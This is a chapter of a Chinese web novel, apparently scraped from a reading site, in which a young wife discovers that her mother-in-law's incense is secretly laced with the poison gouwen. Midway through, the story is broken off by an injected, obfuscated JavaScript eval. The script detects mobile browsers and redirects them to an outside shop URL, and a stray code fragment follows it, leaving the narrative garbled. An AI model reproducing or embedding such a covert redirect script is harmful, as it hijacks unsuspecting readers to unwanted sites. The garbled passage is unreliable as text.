51. 钩吻
    两日后。

    辛雁坐在茶桌前,桌上则是秦氏前两日交给她的那盒香。

    “咳咳。”她视线盯着桌上的那香,皱眉只觉胸腔一阵不适之感。随即便当即抬手用绣帕捂住口鼻,莫名咳嗽起来。

    很奇怪,自从她日日陪伴秦氏,在秦氏屋内待久以后。近两日来,她就莫名犯咳嗽。

    喻栩洲早早去了国子学,她这两日刚巧身子不适。便也没去秦氏那。

    只是...

    思考之际,正在这时屋外的碧儿手中拿着一小个分盒熏香。走了进来。

    “少夫人。”

    辛雁瞥见走至她跟前的碧儿,放下捂嘴的手。扭头看向碧儿,问道:“可查到,这香出自何处?”

    碧儿听此,默默摇了摇头,回复道:“奴婢带着几名婢女,先后拿着这一小盒,分盒熏香。走遍了京中的香铺,香坊乃至是香阁。问了许多店家,均说。从未听闻,会有何香,会有茉莉香气。他们甚至纷纷指责我们胡诌荒谬。”

    “......”

    辛雁再度用绣帕捂嘴,不受控的轻咳起来。碧儿见状,一下慌了。可辛雁却冲她摇头,摆手表示自己没事:“你们可有按照我的吩咐,将这香交予他们看?”

    碧儿见辛雁摆手,抿了抿唇,收回刚准备上前的脚,只得老实回道:“看了。他们说,这香。只是寻常的上品熏香。但不同的是,好似这香中多了一味古怪的药。这才使得这香,在点燃后能够散发茉莉香气。”

    听此,辛雁皱眉,奇怪问:“药?何药?”

    碧儿摇了摇头,表示自己也不知:“不知。那些店家也看不出。只说,此药应本就不是用来制香的。所以他们方才会瞧不出。”

    “......”

    辛雁手中捏紧绣帕,脑中想起了秦氏的面容。

    说来,她莫名咳嗽这件事。原本还不严重,此前还只是偶尔咳一下。只是相对这两日,要咳得稍微重了一点。到底也没怎么在秦氏与喻栩洲跟前咳嗽过。

    就算有那么一次两次,也只当是风寒并未过多在意。

    不过...伴随她咳嗽慢慢开始多了起来。她也发觉,事情好似并不简单...

    “带着这些香,随我一并去医馆。”辛雁面色严肃,似乎是意识到了什么。

    可她此刻这副严肃的神情,碧儿见了却是歪头不解:“医馆?少夫人,府内不是有郎中吗?”

    “府内的郎中?”辛雁挑眉,脑中想起了那名,在喻栩洲伤还未好时。频繁被她请来的中年郎中,不觉好笑。

    对啊,那名郎中。是专门负责母亲病情的。

    说来奇怪,怎么这香有问题。他却未发觉?侯爷同喻栩洲平日忙,嫌少去秦氏房中。

    父亲也在母亲一年前患上肺痨后,为了让她好生疗养身子。也主动分居了。况且,他本就因着许多公务,日日在外忙碌。

    至于喻栩洲,辛雁从秦氏那里得知。因着喻栩洲不爱熏香,所以每回喻栩洲前去看望她,她就从不点香。以至于,喻栩洲也未发觉这香的怪异。

    “只怕,那郎中信不得。碧儿,你去给我拿一件你平日的丫鬟衣裳。回来后,再在我脸上画些麻子。刚好借口戴上面纱,从后门出去。”

    “少夫人,您这是?”碧儿瞪圆眼,不可置信的看着辛雁。完全看不懂她脑中想法。

    辛雁没有理会碧儿的惊诧,只是扭头再度看向了那被放置在桌面上的香,忽道:“我怕母亲的病,不仅是肺痨这么简单。”

    “快去,咱们得快些去外面。确认这香中多的那一味药,究竟是何东西。”

    “是!碧儿这便去取衣服。”

    半个时辰后,当二人来到侯府后门时。辛雁低着头,跟在碧儿身后。听着碧儿同几位守门交谈的话语。

    “碧儿姐,又要出去啊?”

    “是啊。说来你不也知道。近一月来,少夫人总要派我回一趟将军府。这不,今儿又打算派我去一趟。”

    “又是关于少夫人的弟弟,辛小少爷?”护卫听了碧儿的解释,顿时会意。也不觉奇怪了,只是视线越过碧儿,看向她身后低着脑袋的辛雁。抬手指着她,问道:“那这人是?”

    碧儿顺着护卫手指的动作,回头淡淡瞥了辛雁一眼,摆了摆手,故作出一副不耐烦的模样,说道:“她是新来府上伺候的。正巧被选到少夫人院中。午休时,贪吃偷尝了些厨房的枣子。便全脸发红起疹子。这不,见我打算出去,便央求我带她一块出去。”

    护卫问:“风疹?”

    碧儿听后点头。

    “......”

    “碧儿姐,我不拦你...你还是快些带她走吧...”几名护卫纷纷退后,脸上均露出了嫌弃的神情。

    于是乎,就这样...很轻松的出来了...

    待出侯府,确认走出一段距离后。辛雁摘下脸上面纱,从怀兜中取出一张洁白绣帕。便一把往脸上搓。

    很快,她的脸再度恢复原本的白皙光滑状态。反倒是那张帕子,变得有些惨目忍睹...

    “少夫人...”

    “叫小姐,万一有人跟踪。我们岂不暴露了?”

    “是,小姐...”一旁的碧儿见辛雁顺手将绣帕叠好,又重新收了回去,实在不理解她究竟为何要如此费力出门:“小姐,您为何不直接出府,非要这般费力乔装混出去?”

    “很简单。”辛雁眨眼,扭头看向碧儿,收敛起方才脸上的轻松,道:“当家主母,使用的熏香有问题,连着照看她病情的郎中也有问题。如此一来,只证明。侯府内,暗藏着另外的势力眼线。而最奇怪的则是,连我都能发现的端倪。作为乐安侯的父亲,与小侯爷的喻栩洲。却都未发觉问题。可想而知,那个暗藏在侯府的细作。”

    “在侯府内的身份,只怕不是你我能够轻易猜出,并对付的。”

    “您的意思是...?”

    碧儿听后震惊不已,而辛雁则低眉沉思。回想到了,刚嫁进侯府的那段怪异时光。

    对于这个从未轻易被侯爷与喻栩洲,怀疑并发觉的细作,她脑中有一个人选。

    其实,自很早之前。她就发现那人的端倪,察觉不对了。只是喻栩洲很信任她,她也一直不敢在他跟前,轻易谈论那人的坏话。

    若是说,母亲使用的香,果真有问题。那她便也有证据,证明当时自己的那份怀疑不是错的。

    “早便怀疑她有问题。如今...呵。藏得可真好啊...毕竟谁能想到,最为信任亲近之人,会暗藏叛心。”

    辛雁嘴中自顾自喃喃着,脑中也回想起了幼时,阿父的教导。

    “兵者,诡道也。”记忆中,幼年时阿父曾在她耳边说道:“正如此话,人向来变化无常。安安你须知。作为将领,须得做到对所有情报,乃至是手下的行为,始终保持警惕态度。始终做到不轻信。毕竟毫无里头的信任,乃是兵家最为忌讳之事。”

    虽然,阿父当时在跟她说教这句话时...她听着蛮无语的,毕竟她也不是将军,如此教导,阿父是应该教给她阿弟辛忆榆的。

    不过,自从在发觉出喻栩洲口中真话甚少,随口便是假话后。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079210|149458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她的内心,便愈发坚信阿父那时的教导。

    人本就变化无常…

    是喻栩洲让她真正认识到,她不能再如从前一般,对别人所言坚信不疑。那...真的很傻...

    如阿父曾经所言,果然毫无里头的信任,乃是忌讳。

    思及此,她脑海中又浮现出八岁那年。小公子朝她的那一抹耀眼的笑。

    不能再信了...

    今后无论他说什么,她都不会再轻易相信了...

    不久后,当辛雁带着碧儿,来到了一家老医馆。走近馆内,在见到老郎中后。她很快同他说明了情况,并拿出了秦氏送她的那盒熏香。将其交到了老郎中手中。

    老郎中打开盒子,从中用拇指粘了些熏香粉。抬手将其靠近鼻尖嗅了嗅,眉间不禁皱得更紧。

    辛雁见状,着急问道:“老先生,这香可有何问题?”

    老郎中将香又放回了盒中,低眉瞧着那香,忽道:“此香。乃为上品。想来京中一般香阁,不会售卖。它原本却为普通熏香。只是...”

    辛雁诧异:“只是?”

    老郎中方才话音一顿,歪头似有些困惑不解,又继续道:“只是从这香上,我闻到了一股熟悉的味道。乃是一股微弱且淡的茉莉味...”

    听此,辛雁急忙点头:“对,先生。是有一股莫名的茉莉香,就是连点燃后,也有一股较为清淡的茉莉香气。”

    “点燃后也有?”听此,郎中蹙眉。随即再追问道:“小姐既然来寻我看这香,想到应是用过,并发现了这香的问题。否则,你不会来医馆。可否与我说说,在用过这香后,有出现何异样?”

    辛雁听后一惊,内心只惊叹道,不愧是经验老道的老郎中,这都能猜到?

    辛雁:“有时会恶心,甚至呼吸困难,偶尔也会有想吐的欲望...”

    “......”

    听完辛雁这些描述,老郎中莫名沉默了。他似乎是想到了什么一般,转身去往了自己在医馆中的那一长徘药橱。

    不一会,老郎中打开了其中一个分类抽屉。用油纸取出了一小部分药材。最后再转身,将那小包药。递到了辛雁跟前。

    “这药含毒,治金疮,但也可镇痛等等。这种药,向来都会捣烂研磨,制成药膏外敷。却从不会燃烧,更忌食用。”

    辛雁接过老郎中手中递来的小包药材,接着又听他道:“此药,名为钩吻。拥有一股淡淡的茉莉清香。其味道很是好闻。另外,它还有一个别样的名字,断肠草。”

    “?!”

    “若将此药点燃,闻其气味。也可导致中毒。但若是把控精细药量,便不宜被人察觉。长久下来,闻此香,只怕会危及生命,对身子造成不小的损伤。”

    辛雁大惊,听此她双唇颤抖,手中脱力。手中的油纸也不经落地。此刻,她脑海中浮现出秦氏和蔼的笑容,上下嘴唇一张一合,发颤问道:“先生,如若...如若...患有肺痨之人,长久使用此药制作的香。长达一年...会如何?”

    “?”郎中听此,先是疑惑,但也还是如实回道:“能用一年,就证明这香中,掺杂的钩吻药量及其精少,少到让人可以忽视,甚至无法激发它的毒性。一次两次还无事,可若长久使用...毒性堆积得越多,加之用香者又患有肺痨这般不治之症。”

    “只怕...凶多吉少。就算神仙来了也难救。小姐,若你认识之人。有人中此毒,又患有肺痨。我只能劝你...早些去准备后事。趁着仅剩的几日时间,最后再多陪陪中毒者。只怕他,如今已是时日无多。”